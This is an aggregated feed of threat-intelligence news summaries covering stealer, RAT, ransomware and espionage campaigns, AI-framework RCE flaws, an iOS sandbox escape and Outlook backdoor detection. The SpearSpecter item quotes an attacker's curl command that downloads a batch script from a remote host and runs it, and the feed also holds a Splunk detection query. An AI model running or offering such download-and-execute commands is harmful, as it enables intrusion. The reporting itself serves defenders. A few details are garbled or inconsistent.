• In November 2025, a new malware campaign emerged that combines social engineering tricks with advanced stealing tools.

    The attack starts when criminals trick users into running commands through the Windows Run window, a technique known as ClickFix.

    Once users follow these instructions, their computers become infected with Amatera Stealer, an advanced piece of malware designed to steal sensitive information from browsers, wallets, and password managers.

    Shortly after the initial infection, the attackers deploy NetSupport RAT, giving them full remote access to the victim’s computer.

    eSentire security analysts identified the malware after the second paragraph, noting that this campaign represents a significant evolution in how attackers combine multiple tools for maximum damage.

    The attack chain works through carefully crafted social engineering. Attackers convince users to open the Run prompt and execute specific commands.

    These commands trigger a series of hidden stages that eventually deliver Amatera Stealer to the victim’s machine. What makes this particularly dangerous is how the malware hides its true purpose.

    It uses obfuscated PowerShell code that has been deliberately made difficult to read and understand. The malware employs a special trick involving XOR encryption with the string “AMSI_RESULT_NOT_DETECTED” to decrypt the next stage while confusing security researchers.

    Attack chain leading to Amatera and NetSupport RAT (Source – eSentire)

    One of the most concerning aspects of this campaign involves the advanced evasion techniques used by Amatera Stealer. This malware was originally called ACR Stealer and was sold as a criminal service by a group called SheldIO.

    Now rebranded as Amatera, the stealer uses WoW64 SysCalls to bypass common security tools like antivirus software and endpoint detection systems. This means even machines with strong security tools installed remain vulnerable.

    The Infection Mechanism and Detection Evasion

    The infection begins with a .NET-based downloader that retrieves and decrypts payloads using RC2 encryption from services like MediaFire.

    This downloader is packed with Agile.net to make analysis harder for security teams. Once executed, it deploys a Pure Crypter-packed file that uses sophisticated process injection techniques.

    The malware then disables AMSI (Anti-Malware Scan Interface) by overwriting the “AmsiScanBuffer” string in the system’s memory, effectively turning off Windows’ built-in security scanning for the rest of the attack.

    Amatera communicates with its command servers using encrypted connections that bypass traditional security monitoring. It uses Windows APIs combined with WoW64 syscalls to encrypt all communications with AES-256-CBC, making traffic inspection nearly impossible.

    The malware collects stolen data into zip files and sends them to criminal servers using these encrypted channels. Through its loader functionality, it can execute additional payloads selectively on valuable targets, such as computers containing cryptocurrency wallets or machines connected to business networks.

    This selective approach helps attackers avoid wasting time on low-value targets and focus on organizations with real financial assets. The sophisticated nature of this campaign highlights why modern security requires multiple layers of protection.

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    The post EVALUSION Campaign Using ClickFix Technique to deploy Amatera Stealer and NetSupport RAT appeared first on Cyber Security News.

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  • A newly identified ransomware group, Yurei, has emerged as a significant threat to organizations worldwide, with confirmed attacks targeting entities in Sri Lanka and Nigeria across multiple critical industries. First publicly identified in early September 2025, Yurei operates a traditional ransomware-as-extortion model, infiltrating corporate networks, encrypting sensitive data, destroying backup systems, and leveraging a dedicated […]

    The post Yurei Ransomware: Encryption Mechanics, Operational Model, and Data Exfiltration Methods appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

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  • As artificial intelligence infrastructure rapidly expands, critical security flaws threaten the backbone of enterprise AI deployments.

    Security researchers at Oligo Security have uncovered a series of dangerous Remote Code Execution (RCE) vulnerabilities affecting major AI frameworks from Meta, NVIDIA, Microsoft, and PyTorch projects, including vLLM and SGLang.

    The vulnerabilities, collectively termed “ShadowMQ,” stem from the unsafe implementation of ZeroMQ (ZMQ) communications combined with Python’s pickle deserialization.

    What makes this threat particularly alarming is how it spread across the AI ecosystem through code reuse and copy-paste development practices.

    How the Vulnerability Spread Across Frameworks

    The investigation began in 2024 when researchers analyzed Meta’s Llama Stack and discovered the dangerous use of ZMQ’s recv_pyobj() method, which deserializes data using Python’s pickle module.

    ShadowMQ Vulnerability CVE Data Table

    CVE IDProductSeverityCVSS ScoreVulnerability Type
    CVE-2024-50050Meta Llama StackCritical9.8Remote Code Execution
    CVE-2025-30165vLLMCritical9.8Remote Code Execution
    CVE-2025-23254NVIDIA TensorRT-LLMCritical9.3Remote Code Execution
    CVE-2025-60455Modular Max ServerCritical9.8Remote Code Execution
    N/A (Unpatched)Microsoft Sarathi-ServeCritical9.8Remote Code Execution
    N/A (Incomplete Fix)SGLangCritical9.8Remote Code Execution

    This configuration created unauthenticated network sockets that could execute arbitrary code during deserialization, enabling remote attackers to compromise systems.

    After Meta patched the vulnerability (CVE-2024-50050), Oligo researchers found identical security flaws across multiple frameworks.

    NVIDIA’s TensorRT-LLM, PyTorch projects vLLM and SGLang, and Modular’s Max Server all contained nearly identical vulnerable patterns.

    Oligo Code analysis revealed that entire files were copied between projects, spreading the security flaw like a virus. These AI inference servers power critical enterprise infrastructure, processing sensitive data across GPU clusters.

    Organizations trusting SGLang include xAI, AMD, NVIDIA, Intel, LinkedIn, Oracle Cloud, Google Cloud, Microsoft Azure, AWS, MIT, Stanford, UC Berkeley, and numerous other major technology companies.

    Successful exploitation could allow attackers to execute arbitrary code, escalate privileges, exfiltrate model data, or install cryptocurrency miners.

    Oligo researchers identified thousands of exposed ZMQ sockets communicating unencrypted over the public internet. However, Microsoft’s Sarathi-Serve and SGLang remain vulnerable with incomplete fixes.

    Organizations should immediately update to patched versions, avoid using pickle with untrusted data, implement authentication for ZMQ communications, and restrict network access to ZMQ endpoints.

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    The post Critical RCE Vulnerabilities in AI Inference Engines Exposes Meta, Nvidia and Microsoft Frameworks appeared first on Cyber Security News.

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  • A dangerous espionage campaign is targeting senior government and defense officials worldwide. Iranian hackers are using fake conference invitations and meeting requests to trick victims.

    The attackers spend weeks building trust before striking. They reach out through WhatsApp to make their messages look legitimate.

    This campaign, known as SpearSpecter, combines patience with powerful malware to steal sensitive information.

    The attackers work for Iran’s Islamic Revolutionary Guard Corps Intelligence Organization. They operate under several names including APT42, Mint Sandstorm, Educated Manticore, and CharmingCypress.

    Their main goal is stealing sensitive information from people with access to government secrets. What makes this group dangerous is how they adapt their methods and use both credential theft and long-term spying tools.

    Israel National Digital Agency security researchers identified the malware and uncovered the operation scope. The campaign has been running for months with no signs of stopping.

    The attackers target both officials and family members to increase pressure and find new entry points.

    Advanced Infection Through WebDAV and PowerShell

    The infection starts when victims receive a link claiming to be an important document for a meeting. When clicked, the link redirects to a file on OneDrive.

    Attackers abuse the Windows search-ms protocol to trigger a popup asking users to open Windows Explorer. If victims accept, their computer connects to the attacker’s WebDAV server.

    The WebDAV server displays what looks like a PDF file, but it’s actually a malicious shortcut. When opened, this shortcut runs hidden commands that download a batch script from Cloudflare Workers using the following command:-

    cmd / c curl --ssl-no-revoke -o vgh.txt hxxps://line.completely.workers.dev/aoh5 & rename vgh.txt temp.bat & %tmp%
    Initial access LNK file shared via WebDAV pretending to be a PDF file (Source – Govextra)

    The script loads TAMECAT, a sophisticated PowerShell-based backdoor that operates entirely in memory. TAMECAT uses AES-256 encryption to communicate with command servers through multiple channels including web traffic, Telegram, and Discord.

    TAMECAT collects browser passwords by launching Microsoft Edge with remote debugging and suspending Chrome processes. It captures screenshots every fifteen seconds and searches for documents. All stolen data gets split into five megabyte chunks and uploaded.

    TAMECAT’s In-Memory Loader Chain (Source – Govextra)

    To survive restarts, TAMECAT creates registry entries that run batch files at login. The malware avoids detection by using trusted Windows programs. Researchers found attackers using Cloudflare Workers for command infrastructure.

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    The post Iranian SpearSpecter Attacking High-Value Officials Using Personalized Social Engineering Tactics appeared first on Cyber Security News.

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  • Phishing attacks are no longer confined to the email inbox, with 1 in 3 phishing attacks now taking place over non-email channels like social media, search engines, and messaging apps. LinkedIn in particular has become a hotbed for phishing attacks, and for good reason. Attackers are running sophisticated spear-phishing attacks against company executives, with recent campaigns seen targeting

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  • A newly released open-source tool called SilentButDeadly is raising security concerns by demonstrating how attackers can effectively turn off Endpoint Detection and Response systems and antivirus software without terminating any processes. Developed by security researcher Ryan Framiñán and released on November 2, 2025, the tool exploits the Windows Filtering Platform to sever cloud connectivity for […]

    The post SilentButDeadly: New Tool Blocks Network Traffic to Bypass EDR and Antivirus appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

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  • The threat actor known as Dragon Breath has been observed making use of a multi-stage loader codenamed RONINGLOADER to deliver a modified variant of a remote access trojan called Gh0st RAT. The campaign, which is primarily aimed at Chinese-speaking users, employs trojanized NSIS installers masquerading as legitimate like Google Chrome and Microsoft Teams, according to Elastic Security Labs. “The

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  • A sandbox escape vulnerability affecting iPhones and iPads running iOS 16.2 beta 1 or earlier versions. The proof-of-concept (POC) exploits weaknesses in the itunesstored and bookassetd daemons, enabling attackers to modify sensitive files on the device’s Data partition areas typically protected from unauthorized access.

    Researcher Kim shared the details in a blog post on October 20, 2025, emphasizing that the findings stem from her reverse engineering efforts and urging readers to verify independently.

    The vulnerability hinges on a maliciously crafted “downloads.28.sqlitedb” database, which tricks the itunesstored daemon into downloading and placing a secondary database, “BLDatabaseManager.sqlite,” into a shared system group container.

    While itunesstored operates under strict sandbox limits, the subsequent stage leverages bookassetd a daemon handling iBooks downloads with broader permissions.

    MobileGestalt Exploit

    This allows writes to mobile-owned paths like /private/var/mobile/Library/FairPlay/, /private/var/mobile/Media/, and even system caches such as /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist.

    In a demo on an iPhone 12 running iOS 16.0.1, Kim modified the MobileGestalt cache to spoof the device as an iPod touch (model iPod9,1), proving the exploit’s reach.

    The process requires preparing the target file in a modified EPUB format, zipped without compressing the mimetype file, and hosting supporting assets like iTunesMetadata.plist on a server.

    Attackers must then use tools like 3uTools or afcclient to inject the databases into /var/mobile/Media/Downloads/, followed by targeted reboots to trigger the downloads.

    Expected behavior halts writes to unauthorized paths, but the flaw permits modifications unless the destination is root-controlled.

    Kim lists numerous writable locations, including caches and media directories, potentially enabling persistence, configuration tampering, or data exfiltration.

    The exploit requires physical or tethered access to place the database, but once set up, it could facilitate more sophisticated attacks on jailbroken or compromised devices.

    Apple has not yet commented, and Kim notes the issue may be patched imminently. She provides basic files on GitHub for educational use, stressing that the research is for learning only and not for illegal activities.

    As iOS evolves with tighter sandboxing, this POC underscores ongoing challenges in daemon isolation. Security teams should monitor for related indicators, like anomalous database entries in download logs.

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    The post New MobileGestalt Exploit for iOS 26.0.1 Enables Unauthorized Writes to Protected Data appeared first on Cyber Security News.

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  • Google has taken a significant step toward its vision of an Agentic SOC by announcing the public preview of the Alert Triage and Investigation agent, a purpose-built AI agent natively embedded into Google Security Operations. This advancement brings the promise of intelligent agents assisting human analysts with routine tasks, decision-making, and workflow automation closer to […]

    The post Google Launches Public Preview of Its Alert Triage and Investigation Agent for Security Operations appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

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  • Outlook NotDoor backdoor malware first appeared in threat campaigns identified by Lab52, the intelligence arm of Spanish firm S2 Grupo.

    Linked to APT28/Fancy Bear, NotDoor leverages malicious Outlook macros for persistent access and data theft. Attackers embed these macro payloads within Outlook’s data files to monitor incoming emails and trigger hidden code on infected systems.

    This has enabled advanced persistent threat groups to quietly exfiltrate files, execute commands, and maintain stealthy control by abusing a trusted application.

    Initial compromise often begins with DLL sideloading. Threat actors place a maliciously crafted SSPICLI.dll next to the legitimate OneDrive.exe, exploiting how Windows prioritizes loading DLLs.

    The fake DLL allows the actor to execute commands and stage malware components without raising alarms.

    Infection artifacts include multiple files: a real OneDrive.exe, SSPICLI.dll (malicious), tmp7E9C.dll (renamed legitimate DLL), and testtemp.ini containing the VBA macro. These details are crucial for defenders tracking suspicious file events and Registry modifications.

    Splunk security researchers were among the first to thoroughly analyze NotDoor. Their deep dive revealed encoded PowerShell commands launched by OneDrive.exe and how the malware quietly creates TEMP directories for dropped artifacts.

    The detection guide by Splunk helps defenders recognize rogue processes spawning PowerShell, network calls, and registry changes that activate macro auto-loading, disable security prompts, or allow all macros without warning.

    This research provides valuable blueprints for building reliable detection.

    Outlook Macro Persistence and Obfuscation

    A key NotDoor technique involves copying the macro-laden testtemp.ini file to Outlook’s VBAProject.OTM location within the user’s Roaming directory.

    This file holds all custom automation and email-handling macros for Outlook. Under normal circumstances, only Outlook should write here, so any outside process (such as malware) is highly suspicious.

    The macro backdoor sets up C2 communications: it can receive and execute attacker instructions via email triggers, and quietly send data back out.

    It relies on obfuscation, randomized variable names, and custom encoding to slip past simple scans. Splunk researchers pinpointed registry modifications as pivotal for persistence.

    The malware changes settings to automatically load the malicious macro at startup (LoadMacroProviderOnBoot) and lowers Outlook’s macro security level to let all macros execute, suppressing security dialogs.

    The following code snippet shows a common Splunk detection search for registry changes:-

     tstats security_contents_summaries_only count FROM datamodelEndpoint.Registry WHERE Registry.registrypath=HKCU\\Software\\Microsoft\\Office\\Outlook\\Security\\LoadMacroProviderOnBoot Registry.registryvaluedata=0x00000001
    Outlook Security Registry Changes (Source – Splunk)

    Defenders can follow these Splunk detection models to catch NotDoor malware, watching for macro file events and registry modifications that signal infection and persistence.

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    The post Researchers Detailed Techniques to Detect Outlook NotDoor Backdoor Malware appeared first on Cyber Security News.

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